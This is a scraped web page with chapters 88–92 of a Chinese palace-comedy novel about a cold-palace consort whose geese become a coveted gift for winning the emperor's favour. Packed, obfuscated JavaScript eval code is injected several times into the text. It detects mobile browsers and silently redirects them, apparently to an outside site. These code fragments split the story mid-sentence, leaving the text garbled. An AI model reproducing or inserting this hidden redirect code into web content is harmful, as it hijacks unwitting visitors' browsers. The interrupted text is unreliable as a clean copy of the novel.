;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482433|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婕妤说:“陛下,这鹅可是欣贵人自己的主意,臣妾们都没有参与,还请陛下明鉴。” “是这样吗?欣贵人?你给了晋氏许多银两?”贺江灈问。 欣贵人自知没有反驳的余地,她讷讷的点了一下头。 “为什么这样做?”贺江灈又问。 欣贵人身上的衣衫都要被冷汗湿透了,她小心翼翼的看了贵妃一眼,贵妃却别过了头,根本就不理会她。 欣贵人颤抖着,半天都说不出话来,寂静的大殿里,大鹅尖锐刺耳的叫声不断回荡,就像是一道道的催命符,正砸在欣贵人的心头。 徐婕妤说:“欣妹妹就是糊涂了,姐姐们不是都劝你了吗?陛下怎么可能喜欢这东西,你竟还觉得买了她这东西就能讨好陛下,真真是好笑。” 徐婕妤能听得出来,贺江灈的语气算不得好,她现在急于用这件事来吸引贺江灈的注意。 说不定等会儿陛下发落了欣贵人,一气之下就忘了方才她们捉奸的事,她们还好逃过一劫。 “我没有,徐姐姐,你不要太过分了,你…” “我怎么过分了,姐妹们可都看到了,是你自己犯蠢,想要买这东西来讨好陛下,你自己做的事可不能连累了我们。”徐婕妤说。 贵妃也道:“欣妹妹,事情既然做了,就承认吧,陛下素来宽和,你好好认个错就是。” 欣贵人浑身都在发抖,已经分不出来是怕的,还是气的。 她讷讷道:“陛下,臣妾…” “事实可是贵妃说的那样?”贺江灈说,“你给了晋氏许多钱财买鹅讨好朕?” 欣贵人不敢接话,她想说不是,可一转眼就看到贵妃警告的目光,她到底不敢出声。 徐婕妤又在旁边添油加醋:“欣妹妹,姐妹们知道你想得到陛下的主意,可也不能犯这种糊涂呀,陛下怎么可能会喜欢…” “谁说朕不喜欢?从今日起,欣贵人晋为婕妤,回去吧,这里没你的事了。”贺江灈说。 他又目光一转,扫向徐婕妤:“至于你,妄自揣测朕的心意,先掌嘴二十。” 第88章 谁准你怂恿本宫的 什么? 不管是欣婕妤还是徐婕妤,都怀疑自己是听错了。 欣婕妤甚至还不确定的问:“陛下,臣妾能走了?” 这是怎么回事?她把大鹅带到大殿上来,陛下竟然没罚她,还给她晋了位分? 贺江灈点了点头,欣婕妤心底还是觉得有些不真实,却也不敢耽搁,连忙起身要走,张公公上前拦住了她:“婕妤娘娘,这鹅既然是给陛下的,就留下吧。” “哦哦是。”欣婕妤如梦初醒,连忙将鹅塞给了张公公。 欣婕妤走后,贺江灈才看向贵妃,他道:“说说吧,今日到底怎么回事,诸位爱妃浩浩荡荡的去冷宫做什么的?” 鹅被张公公拎了出去,偌大的大殿里,能听到的就只有徐婕妤在啪啪的掌嘴声,就像是某种不知名的伴奏,一下一下的敲击在人的心上。 贵妃尴尬道:“陛下,臣妾…这都是个误会。” 她这会儿哪里还敢说话,去捉奸捉到陛下头上,这简直是个不要命的乌龙。 “误会?”贺江灈冷哼一声,“朕怎么不知贵妃什么时候也这么荒唐了?” “臣妾也是为陛下考虑,晋姐姐她毕竟…臣妾是怕万一有什么问题…” 贵妃话说的吞吞吐吐的,句句都说一半。 但在场的人都能听懂她的言外之意,晋明鸢有前车之鉴,她是为陛下的颜面着想。 贺江灈说:“那朕是不是还得谢谢贵妃啊?谢谢你带着这么多人去冷宫捉奸。” 他直接点破了贵妃未尽的话,声音鄙夷:“贵妃,朕是真没有想到你竟然能做出这样的事来,你与阿鸢从小一起长大,也能这般听风就是雨吗?” “臣妾没有。”贵妃说,“臣妾是相信姐姐的,可之前的事陛下分明亲眼见过,臣妾只是怕当**发生第二次,臣妾也是为陛下考虑啊。 晋姐姐糊涂,总是做事不经考虑,臣妾只是怕她被有心人哄骗,落了陛下的颜面。 今日这事是臣妾没有调查清楚,一时冲动,臣妾认罚,但臣妾的出发点是好的,还请陛下明鉴。” 贺江灈说:“贵妃,朕之前怎么没有发觉你竟有这么多心思? 今日之事你出于什么心事朕懒得问,但连明辨是非的能力都没有,你也不适合在管理六宫了,从今日起,直接把凤印交给姜妃,这宫里的事你就不必再过问了。” “陛下,您这是什么意思?臣妾做错了事,您要剥夺臣妾的宫权,臣妾没意见,可那个姜妃,她哪里会管理六宫? 您看看臣妾只是分权给她的第一日,她就把冷宫弄成了什么样子?若是把所有的权利都给她,您是想让她把整个皇宫都弄成养猪场吗?” 听到贺江灈话的一瞬间,贵妃几乎是急不可耐的反驳出声。 姜妃,怎么又是姜妃? 那女人与她素来不合,如今把她所有的权势都交给姜妃,她自己徒留一个贵妃之位有什么用处? 一个空壳子的贵妃,怕是连别人的尊重都换不来。 她以后岂不是要看姜妃的脸色行事? 贺江灈道:“她没你说的那么荒唐,今日就到这里,你回去好好反思一下吧。” 贵妃道:“她怎么就不会这么荒唐?如今冷宫里的情况,陛下分明亲眼看见了,陛下为什么偏要信她? 这宫里还有王昭仪,还有安妃,就算臣妾做的不好,需要有人代掌宫权,为什么就非得是姜妃?” 贵妃心里很清楚,今日贺江灈在气头上,这个宫权她是留不住的。 她也可以接受,她的权利暂时在别人手里,但她唯独不能接受,是姜青雉那个疯女人抢了她的一切。 “因为就数她最闲,她徒居高位,该有点儿事儿干。”贺江灈说。 身为一宫主位,平日里连自己的宫都不回,天天待在冷宫里像什么样子?看着就碍眼。 “可她把那冷宫弄的活似猪圈,这种人怎么能管理六宫?”贵妃只觉得贺江灈的话有些古怪,但她也没有时间细想,继续据理力争,“明明安妃也…” 虽然她也不喜欢安妃,但是安妃比起姜青雉来好太多了,至少那人是真的云淡风轻,不会故意针对谁交好谁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482434|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“贵妃,你什么时候说话这么刻薄了,冷宫怎么了?不过就是晋氏养了几只宠物而已,你难道没养过宠物吗?”贺江灈不紧不慢的道。 贵妃只觉得自己的脑袋都要炸了,比在冷宫听着那鸡鸣猪叫声还要头疼。 宠物? 谁家好人拿那东西当宠物的? 陛下不是早就厌恶晋明鸢了吗?为什么现在又这般袒护? “这件事就这么定了,贵妃若无别的事就退下吧,好好反省反省今日的行为,至于你们几个,天天听风就是雨,没有一点自己的想法,各自去殿外罚跪一夜冷静冷静吧。”贺江灈说。 这些嫔妃们见最受宠的贵妃都被夺了宫权,哪个还敢有异议? 几乎是争先恐后的出去罚跪。 贵妃还是有些不情不愿,贺江灈直接摆手道:“张康全,送贵妃出去。” 被赶出紫宸殿的时候,贵妃的一张脸都铁青无比。 那群跟她一起的嫔妃已经在紫宸殿门口跪了一排。 看到她出来,徐婕妤连忙讨好道:“贵妃姐姐,您别伤心,陛下今日只是在气头上,等他消了气,肯定就把宫权还给您了,那姜妃是什么东西,也敢跟您争,她根本就不配!” 贵妃的目光落在了徐婕妤的脸上,因为掌嘴的缘故,徐婕妤的嘴角已经浮肿了。 但贵妃忽然上前一步,抬手一巴掌就甩在了徐婕妤的脸上,啪的一声脆响,在寂夜里格外清晰,她怒道:“你个混账东西,谁让你怂恿本宫捉奸的? 本宫早就说过了,晋姐姐为人清白,不可能做对不起陛下的事,你偏不信,这下好了,你满意了? 方才本宫看你可怜,才没有在陛下面前拆穿是你的主意,你好自为之吧。” 话音落下,贵妃朝着紫宸殿的方向望了一眼,这才带着满春离开。 徒留徐婕妤捂着脸一脸惊讶。 眼下这样的情况,不禁让她想到了方才她们一起推欣婕妤出来顶罪的时候。 她这是被贵妃推出来了? 那捉奸一事分明就是贵妃默许了的! 第89章 这鹅怎么又回来了 紫宸殿门外发生的事很快就被传到了贺江灈的耳朵里。 对于贵妃最后的那番作为,贺江灈一直都不置可否。 到时张公公对着那只从欣婕妤那里接下来的鹅有些犯愁,见贺江灈的神色稍有缓和,他就立刻见缝插针的问:“陛下,敢问那只大鹅怎么处理?” 贺江灈说:“毕竟是晋氏的东西,找个人偷偷给她送回去吧。” 晋明鸢并不知道后来紫宸殿发生的事,她是被尖锐的鹅叫吵醒的。 乍一听到那几乎可以穿透耳膜的动静,她甚至怀疑自己是听错了。 把头蒙在被子里良久,那动静依旧接连不断,明明外面还有些灰蒙蒙的,可吵闹声却让她再也睡不着。 实在被烦的无可奈何,晋明鸢终于烦躁的起身,恼道:“哪里来的鹅叫,吵**!” “有没有一种可能,是你的鹅又回来了?” 天还没有大亮,晋明鸢吼完了之后,也没指望有谁回应她。 可紧接着,她就听到了贺云瑄幽幽的声音。 低下头来,便见贺云瑄也不知在廊下坐了多久,一双眼底已经有了大片的乌青。 再打眼望过去,那只昨天刚被她卖了的大白鹅,竟然真的活蹦乱跳的出现在了她的院子里。 这东西折腾了一大招,依旧像有使不完的力气一样。 不仅不能对它同伴的死引以为戒,现在竟然还撒丫子追着院里的两头小猪跑。 晋明鸢只觉得自己的太阳穴都在突突乱跳:“这到底怎么回事?它怎么又回来了?” 贺云瑄也是无奈的摊了摊手,即便没有说话,脸上的无奈之色也一点不比晋明鸢少。 “贵妃她们送回来的?”晋明鸢问,除了这个可能以外,她也想不出别的原因了。 这个念头一出来,很快晋明鸢脸上就出现了几分紧张之色,她一拍大腿:“完蛋了,她们肯定想害咱们,我好不容易才把这鹅弄出去,她们又送来,八成藏在哪里等着捉奸呢,不行,得赶紧把这东西弄走。” 她可没忘了,昨夜那个男人可是当着贵妃等人的面,和她约下一次炖鹅的时间。 贵妃肯定想守株待兔。 她可不能让她们得逞,这鹅她绝对不留。 “娘亲,您先别紧张,我觉得…”贺云瑄有点欲言又止。 他总觉得,以那群嫔妃的能力,绝无可能神不知鬼不觉的将这鹅送回来,能做到的就只有… 想到那个可能,贺云瑄一张脸都紧张了起来,那男人还真是好不要脸的手段,把鹅送回来,不就是为了想找理由和娘亲见面吗? “不行,云瑄,你赶紧去叫你姜姨姨,我们得赶紧趁贵妃来之前,把这鹅弄走。” 晋明鸢这会根本无心听贺云瑄说什么,又紧张的连连催促道。 贺云瑄也觉得,得把那个男人的心事告诉姜妃一二。 但他还没有来得及起身,冷宫的门就被撞开了,姜妃一脸烦闷的走进来,正想发牢骚,一眼就看到了院里的大鹅:“这玩意儿怎么又回来了?” “肯定是贵妃弄来想害我的,你有没有什么办法,神不知鬼不觉的把它再弄走?”晋明鸢问。 姜妃拧着眉,什么贵妃,她看可未必。 想到某个真正的罪魁祸首,姜妃这会儿恨的牙根发痒。 昨夜晚上,贵妃的人就将几乎堆成山的账册,全推进了她幽兰馆,那些破烂玩意,她看见就一阵头疼,恨不得一把火烧了了事。 好不容易挨到天亮,打算先来晋姐姐这里蹭个早饭,再发个牢骚的,哪曾想这一进门又看到了这鹅。 晋姐姐什么都不清楚,她可知道昨夜这鹅最后到了谁手里。 姜妃道:“不用这么麻烦,干脆丢出就好了,反正昨夜晋姐姐已经把这东西卖出去了,多的是人看到贵妃她们把那鹅带走了,又没有看到她们把东西送回来,丢出去这鹅跑哪里去,也和我们无关了。” 姜妃手一摊,就是一副不负责任的模样。 狗皇帝无缘无故的给她惹那么一堆麻烦,就别怪她以牙还牙了。 这鹅可是他自己送回来的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482435|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万一旁人没有发现,不小心放出去了,那也怪不得别人。 皇宫大的很,这鹅又如此精力旺盛,今日就让他和他那些禁卫都找鹅去吧。 “这…能行吗?你确定不会怪到我们头上?”晋明鸢有些为难,总觉得姜妃的话很不靠谱。 姜妃笃定的点点头:“放心好了,肯定没事的,晋姐姐,你信我。” 害怕晋明鸢不信,她又拍了拍胸脯,一副胸有成竹的模样:“反正现在大家肯定以为鹅在贵妃她们手里,跑出去也怪不得我们。” “这…”晋明鸢又犹豫了一下,但很快她就下定了决心,点了点头,“你说的有道理,那就这样吧,云瑄,你去门口守着,别让我的鸡和猪跑出去。” 虽然这鹅是个麻烦东西,但对晋明鸢来说,她的小猪仔和小鸡那可都是好宝贝,可不能就这么丢了。 贺云瑄一张脸都皱到了一起。 他当然听得出来,姜妃这是故意要给谁找麻烦。 虽然心里还有些后怕,但看姜妃和晋明鸢这副跃跃欲试的模样,他稍作犹豫,还是慢悠悠的走到冷宫门口,将门打开了一个小缝。 算了,谁让那个人总想跟他抢娘亲的? 制造这么一点小麻烦,也没关系吧? 看贺云瑄准备就绪,晋明鸢与姜妃就开始一人一边将鹅往门口赶,贺云瑄这是一边看着院里的小猪崽,一边还得小心翼翼的分神盯着外面的宫道,生怕被人看到这一幕。 眼见着两人几乎要把鹅赶到了门口,贺云瑄忽然脸色一变,砰的一声,将开了条缝的冷宫门彻底关上了。 鹅碰了个壁,又调转方向,朝着院子里奔去。 姜妃皱眉:“你小子怎么回事?这差一点就成功了,你关什么门?” 贺云瑄脸色有些古怪:“姜姨姨,外面有人,是昨天的王昭仪和徐婕妤。” “那不是贵妃的那两条狗吗?她们来做什么?”姜妃疑惑的感慨一句。 就在这时,外面已经传来了敲门声:“晋娘娘,晋娘娘,我们能进去吗?” 第90章 她的鹅还有这本事? 晋明鸢和姜妃对视一眼,都从对方的神色里看到了茫然。 这俩人不是喜欢和贵妃形影不离吗? 难道是想来帮贵妃探探消息的? 一想到这个可能,晋明鸢脸色就有些不好看,她冷声道:“不能,不欢迎你们,你们走吧。” 开什么玩笑,那鹅还没有解决掉呢,她不会放她们进来的。 “晋娘娘,求求你,我们真有事相求,您就让我们进去吧。”徐婕妤说,比起之前的态度来,她这次竟然还带着些许的恳求,这倒是让晋明鸢的脸色又有些古怪。 晋明鸢还想拒绝,姜妃眼珠忽然转了一转,她冲着晋明鸢轻轻摇了摇头,压低了声音道:“晋姐姐,让她们进来吧,我在这里,她们也不敢怎么做。” 她可是听说了,这两人昨天因为捉奸的事在紫宸殿受了好一顿罚,现在跑到这里来,莫不是有好戏看? 听到姜妃的话,晋明鸢这才点了点头,把门打开了一些,让两人走了进来:“你们有什么事吗?” 说话间,她的视线不自觉的在那徐婕妤脸上定格。 明明昨天这人的脸还好好的,今日却高高肿起,馒头一般,活像是被谁打了。 那王昭仪虽然身上无伤,但也是神色颓败,黑眼圈明显,仿佛是被什么榨干了精气神儿。 最吸引人注意的还是这两人走路的姿势,一个个都一瘸一拐的,步子都迈的深浅不一,像是腿上有伤一般。 两人都没有回话,打量的目光在冷宫院子里望来望去,几乎同时在那只大鹅身上定格,王昭仪惊讶道:“晋娘娘,您这里还有一只鹅呀?” “有鹅怎么了?关你什么事?”一听到她问起鹅的事来,晋明鸢一下子就警惕了起来,没好气的回应一句。 徐婕妤说:“晋娘娘莫恼,我们今日没有恶意,我们是来找您买东西的,这只鹅能不能卖给我们?” 她脸肿的太厉害,嘴还有些漏风,说话的时候,时不时的用手捂一下脸,看起来很是滑稽。 “啥?”晋明鸢怀疑自己听错了,“你们要买我的鹅,为什么?” 昨天她把鹅卖出去的时候,这群人明明都是不情不愿的。 怎么今天反而上门来买了,莫非真有什么阴谋? 姜妃也是脸色古怪,她眼珠转了转,很快就是一片了然之事,眼睛里看好戏的神色更甚。 事情好像越来越有意思起来了呢。 徐婕妤又想说话,但她脸实在疼的厉害,张了张嘴,就疼的直抽凉气,她索性一只手捂住了脸,另一只手拉了一下王昭仪的袖子。 王昭仪连忙满脸堆笑道:“我们俩是诚心买鹅的,就不给晋娘娘卖关子了,晋娘娘不知道昨日欣贵人拿着您的鹅去见陛下,结果陛下当场升了她做婕妤。 我们俩那不是昨日做错了事,惹了陛下不快吗,就想着… 晋娘娘能不能行行好,将这只鹅卖给我们,价格你随便出,我们俩绝无异议。” 哪怕已经猜到了缘由,在听到这王昭仪亲口说出来的时候,姜妃还是噗嗤一声笑出了声。 这俩人还真是… 她俩该不会真以为陛下喜欢那大鹅吧? 不会真以为陛下跑到冷宫来杀鹅,是喜欢鹅吧? 晋明鸢同样一脸震惊:“不是吧,我这鹅这么厉害吗?拿鹅就能升位分的?” 王昭仪有些为难:“其实升不升位分倒是无所谓,我们两个就是想给陛下道个歉,晋娘娘,这鹅多少银子您能卖呀?” 昨日事情闹成那样,贵妃又将责任推卸给徐婕妤,徐婕妤在紫宸殿门口跪了一夜,时时都没法安心。 她与王昭仪关系最好,两个人一合计,就想到了因为鹅得了好处的欣婕妤,俩人一拍即合,便想着来冷宫碰碰运气,没想到晋明鸢这里竟真的还有一只鹅。 “一百两?”晋明鸢试探着问。 徐婕妤当即点头:“行,银子我们两个带够了,那这鹅我们就带走了。” 她一边说着,一边和王昭仪一人拿了一个荷包出来,就递向了晋明鸢。 晋明鸢正要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482436|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接,一直没说话的姜妃忽然道:“两位妹妹买了鹅,现在就要去送给陛下吗?” 王昭仪点头:“姜妃娘娘可是有什么指教?” 虽然她们二人一直都跟着贵妃,和姜妃也不算对付,但现在谁都知道陛下把宫权完全交给了姜妃,说不定哪日姜妃就会成为第二个贵妃,她们又哪里敢得罪姜妃? 姜妃说:“指教算不上,我只是觉得二位妹妹若是现在就去,未免太过刻意。 尤其是陛下说不定现在还没有消气,你们这时候冒头,未必就能讨陛下欢心。” 王昭仪和徐婕妤对视一眼,也觉得姜妃的话有些道理。 王昭仪问:“那以姜姐姐的意思是?” 姜妃说:“这不是马上就要中秋了吗?不如两位妹妹先将这鹅寄养在冷宫,然后等到中秋借个好时机送给陛下,也好博个**,二位觉得呢?” “这…”徐婕妤有些为难。 虽然她们二位一致都觉得陛下能因为一只鹅晋了欣贵人的位分,应当是喜欢鹅的,可中秋宫宴那样的场合,还有朝臣在场,送只鹅过去,是不是有些上不得台面? 姜妃又说:“我也是为二位妹妹考虑,你们现在送过去,一是没有合适的理由,二是刚受了罚又这般太过刻意,倒是在中秋宫宴上,大家都送礼,你们刚好送进陛下心坎上,这不是一举成名的好机会吗?” “这…好像也有些道理。”王昭仪说。 “可…”徐婕妤又有些犹豫。 姜妃道:“陛下喜欢鹅不是你们有目共睹的吗?我只是随便提个建议,你们听不通听就看你们自己了。 你们若非要现在送也行,晋姐姐,把鹅给她们吧。” 晋明鸢又要抓鹅,徐婕妤忽然叫出了她:“等等,晋娘娘,这鹅你先帮我们养着,等过两天我们再来取,这里还有二十两银子,就当你替我们养鹅的钱了。” 姜妃几乎以迅雷不及掩耳之势就抢过了徐婕妤手里的荷包:“这样就对了嘛,中秋宴上,我敢说两位妹妹定能博得头筹的。” 第91章 挣大钱的法子 送走了徐婕妤和王昭仪,晋明鸢还抱着沉甸甸的银两一副失神的模样。 仔细算算,她拖姜妃买来的这所有东西,包括给贺云瑄的玩意儿以及吃食加起来也没有花一百两银子,这一只鹅就能卖出去这么多,她岂不是要发财了? 姜妃顺手将接来的荷包塞到了晋明鸢怀里:“晋姐姐在想什么?怎么这么入神?” “姜妹妹,我的鹅这么好用的话,若是只卖给她们两个岂不是很吃亏?你还能不能帮我弄更多的鹅来?我觉得我们能在中秋宫宴前大赚一笔,这样以后云瑄娶妻的钱岂不是都够了?” 晋明鸢掰着手指盘算着,越是深想下去,她越觉得这事很靠谱。 贺云瑄在旁边听到她说娶媳妇几个字,耳朵都红了红,很快就试图阻止:“娘亲,还是算了吧,你忘了吗?这鹅会带来麻烦的,咱们还是别…” “嘿,麻烦,什么麻烦?有那么多银子呢,这怎么能叫麻烦呢?这分明是我们的造化。 放心好了云瑄,这几年娘亲让你受苦了,娘亲保证以后绝对不会再让你过苦日子,娘亲还得攒钱给你置办大宅子,让你风风光光娶媳妇呢,这大好机会可不能放过。”晋明鸢说。 “娘亲!我现在还小呢,没想…”贺云瑄涨红着脸,小声咕哝一句,话还没说完,肩膀就被晋明鸢拍了一巴掌:“怎么就不想了,这种事得趁早做准备,这事你就别管了,你娘我自有安排。” “娘亲难道忘了昨夜的事,您弄那么多鹅,就不怕贵妃再…” “哎呀,什么叫我的鹅?这可都是宫里各位娘娘推我养着的,跟我有什么关系? 我不过是收了钱帮她们养鹅,各取所需而已,就算退一万步来讲,这东西是送给陛下的,四舍五入我也是在给陛下办事,那贵妃还能拿我怎么样?”晋明鸢说。 “可…” 贺云瑄紧绷着一张脸,他觉得他娘亲应该是忘了这两只鹅的杀伤力,若是再弄一堆回来,到时候只怕发愁的还是她自己。 晋明鸢完全没把贺云瑄的话当一回事,她直接转移话题,捂着肚子皱眉道:“哎呀,好饿呀,云瑄,娘饿了。” “知道了,我去做饭,姜姨姨,麻烦你帮我劝劝娘亲。”贺云瑄叹了一口气,临走的时候,他还小大人一般叮嘱了姜妃一句。 这两只鹅带来的麻烦,姜妃也是亲眼见过的,贺云瑄觉得,姜妃就算再怎么不靠谱,应该也不至于放任晋明鸢再弄一堆鹅回来。 看着贺云瑄离开,晋明鸢自言自语的嘀咕:“嘿,真是个小古板,不知道的还以为他是长辈呢,管的挺多。” “云瑄也是因为担心姐姐嘛,倒是姐姐,你该不会真打算…”姜妃略微有些犹豫。 晋明鸢道:“怎么了?连你也劝我吗?现在中秋宫宴在即,那些嫔妃们肯定都挤破脑袋,想给陛下送礼,这大好机会不用白不用。 再说了,刚才不是你给徐婕妤她们出的主意吗?” “我…”姜妃话头一滞。 她给那俩人出主意,纯属是因为知道那俩人是贵妃的走狗,不安好心的。 中秋宫宴那样重要的时候,连朝臣都在场,那俩人若是真的把这活鹅送上去,定是当场就能成为笑话。 想要靠这东西邀宠,更是绝无可能的。 毕竟那陛下喜欢的根本就不是鹅。 她是真没想到,晋明鸢竞打算用这玩意儿发横财。 这宫里虽然贵妃的爪牙居多,却也有一些安分守己的嫔妃。 那些人没做过什么坏事,倒是不至于一起入局。 “怎么了?你真不赞同我?”晋明鸢又问。 “怎么会呢晋姐姐,我只是觉得这宫里派系复杂,要不这样吧,这件事交给我来办,我让你把鹅卖给谁你就卖给谁。 你不就是想赚钱吗?我保证让你赚的盆满钵满,你觉得这样如何?”姜妃道。 算了,坑一个也是坑,坑两个也是坑。 大不了她私底下做的隐秘一点,把这东西都卖给贵妃的爪牙好了。 “成。”晋明鸢说,很快她又皱了皱眉,“不过…这鹅实在是吵,养在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482437|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这里也…你有没有别的办法?” 姜妃道:“这倒是好说,我们也可以先付了钱留在宫外,等到了时候一起拉进来就是,反正现在陛下把管理六宫的事全交给我了,这点小事不是问题。” 提到宫权,姜妃语气又不太好。 她又想到了她宫里那堆成山的账册。 等全部看完,还不知道要到什么时候呢。 她几乎可以笃定,那狗皇帝就是在给她找事做。 筹办宴会的事,她可以分派下去,但这些账册总得她自己心里有数,交给别人自然是不行的,更遑论这些年她在宫里也没有什么能信得过的。 啧,真过分啊! 既然这样的话,就别怪她在中秋宴上给狗皇帝一个惊喜了。 晋明鸢也注意到了姜妃神色不虞:“也没有听说陛下去你的幽兰馆呀,怎么忽然把贵妃的宫权交给你了?” 就算晋明鸢失忆,也知道宫权的重要,宫里那么多嫔妃,姜妃天天待在她冷宫里,根本没有与那皇帝见面的机会。 怎么皇帝就把宫权全给了姜妃? 姜妃道:“还能有什么?她没事找事,看不得我清闲呗,我看他分明就是嫉妒…” 话几乎要脱口而出,又看到晋明鸢好奇的神色,姜妃话锋一转:“大约是我哪儿得罪他了,他才把这些麻烦事都推给我,真够烦人的。” 姜妃的厌恶几乎不加掩饰,晋明鸢也能感觉到她对那宫权的抗拒。 但这种事,晋明鸢也帮不上什么,她安抚道:“真是辛苦姜妹妹了,可惜我现在没有记忆,也不知道我自己之前…也帮不上妹妹什么忙,妹妹…” “等等…”晋明鸢话说了一半,姜妃忽然眼睛亮了起来,她颇为激动道,“姐姐,我知道我能教云瑄什么了,从今日起,我教他理账。” 嘿,别人信不过,云瑄还信不过吗? 贺云瑄这孩子聪慧异于常人。 等她教会了贺云瑄看账本,就把那东西交给贺云瑄来弄。 她就又落得清闲了。 第92章 都该去撞撞南墙 对于姜妃要贺云瑄替她理账一事。 晋明鸢一开始还觉得不太赞同。 她总觉得云瑄年纪太小,做这些太难为云瑄了。 但看着姜妃只是稍加指点,贺云瑄那边很快就能上手,晋明鸢便也不再阻拦,顺势和姜妃完善起她们的卖鹅大计。 贺云瑄并不知道姜妃和晋明鸢暗地里的盘算,他只是等了几日,没见有别的大鹅再被送到冷宫来,还以为姜妃真的劝晋明鸢打消了这主意,心里便也松了口气。 接下来的日子,姜妃便将账册都搬到了贺云瑄这里。 她偶尔去监督一下宫宴的筹备情况,要么就去找人私底下宣扬欣婕妤晋位背后的秘闻,没多久,就勾的贵妃的几个爪牙都从晋明鸢这里订了鹅。 这些人都想闷声得宠,买鹅的事自然都是互相瞒着,只等着在中秋宫宴上一鸣惊人,故而晋明鸢这里赚的盆满钵满,但她私底下卖鹅的事,还真就没有传到贺江灈那里。 倒是贵妃那日被贺江灈在玉粹宫反省之后,就发觉自己的人总是古古怪怪的。 包括徐婕妤和王昭仪在内,虽然还是每日都跑来玉粹宫给她请安,但她总觉得这些人就是有事瞒着她。 满春也是赶紧去打听了一番,最后领了胆小的王宝林来玉粹宫。 从王宝林那里,贵妃才得知,那晋明鸢竟然大张旗鼓的在冷宫里卖起鹅来,甚至还怂用她的人都跑到中秋宫宴上献鹅。 最离谱的是,这群蠢货竟然还都信了。 “你呢,也买鹅了吗?”贵妃扫了一眼跪在下首的王宝林问道。 王宝林连连摇头:“没有,那晋娘娘黑的很,一只鹅要卖一百两银子,臣妾没钱。” 说到这里,王宝林还觉得有些委屈。 本来陛下不常来后宫,大家都争不到什么宠便也罢了。 可近日以来,欣婕妤因为一只鹅晋位的事在宫里都传疯了。 甚至更有人说,只要买了晋娘娘的鹅,就能得到欣婕妤一样的殊荣,于是大家都争先恐后的买鹅。 她入宫也有两年了,却几乎没有近距离的见过陛下的面,甚至连陛下长什么模样都不太清楚。 这样大好的机会就摆在自己眼前,可偏自己银两不够,买不起那鹅,只要一想到这样的好机会就要被自己放走,王宝林都觉得可惜。 “怎么?王宝林的意思是,若是银子够了,你也要买?”满春厉声质问道。 王宝林刚想点头,一抬头就注意到贵妃的脸色不算好,她当即沉默下来。 满春又呵斥:“真是蠢货,你…” “满春!”贵妃忽然出声,打断了满春的话,她对王宝林道,“行了,你先下去吧。” 待到王宝林走了,满春才愤愤道:“贵妃娘娘,那群人实在太荒唐了,别人说什么她们都信,竟然还瞒着贵妃娘娘私底下做这种事。 要不要奴婢去告诫她们几句?” 贵妃道:“算了,都是宫妃,想争宠也无可厚非,她们愿意信,就让她们去吧。” “可她们这般背着娘娘,分明就是没把娘娘放在眼里,如今娘娘才失了宫权,她们就这般放肆,实在太过分了,真的不用奴婢去教训她们几句吗?”满春不满道。 贵妃说:“陛下让本宫好好反省,咱们自然得安分守己,没必要多此一举,反正那鹅有用没用,等中秋宫宴自见分晓,到时候她们自然分得清孰是孰非。” 满春点点头,也反应过来,那群人现在都已经把鹅当成争宠的筹码,她们就算制止,说不定还会被那些拎不清的觉得是贵妃小肚鸡肠,阻止她们争宠。 倒不如让她们自己去撞一撞,等真的碰了壁,便也明白贵妃的好了。 贵妃又说:“刚才本宫听王宝林没钱买鹅是吧?她也挺可怜的,入宫三年,还只是个宝林,既然有这样好的机会,那本宫便支持她一下,你去取一百两银子给她送去吧,就说本宫赏她的。” 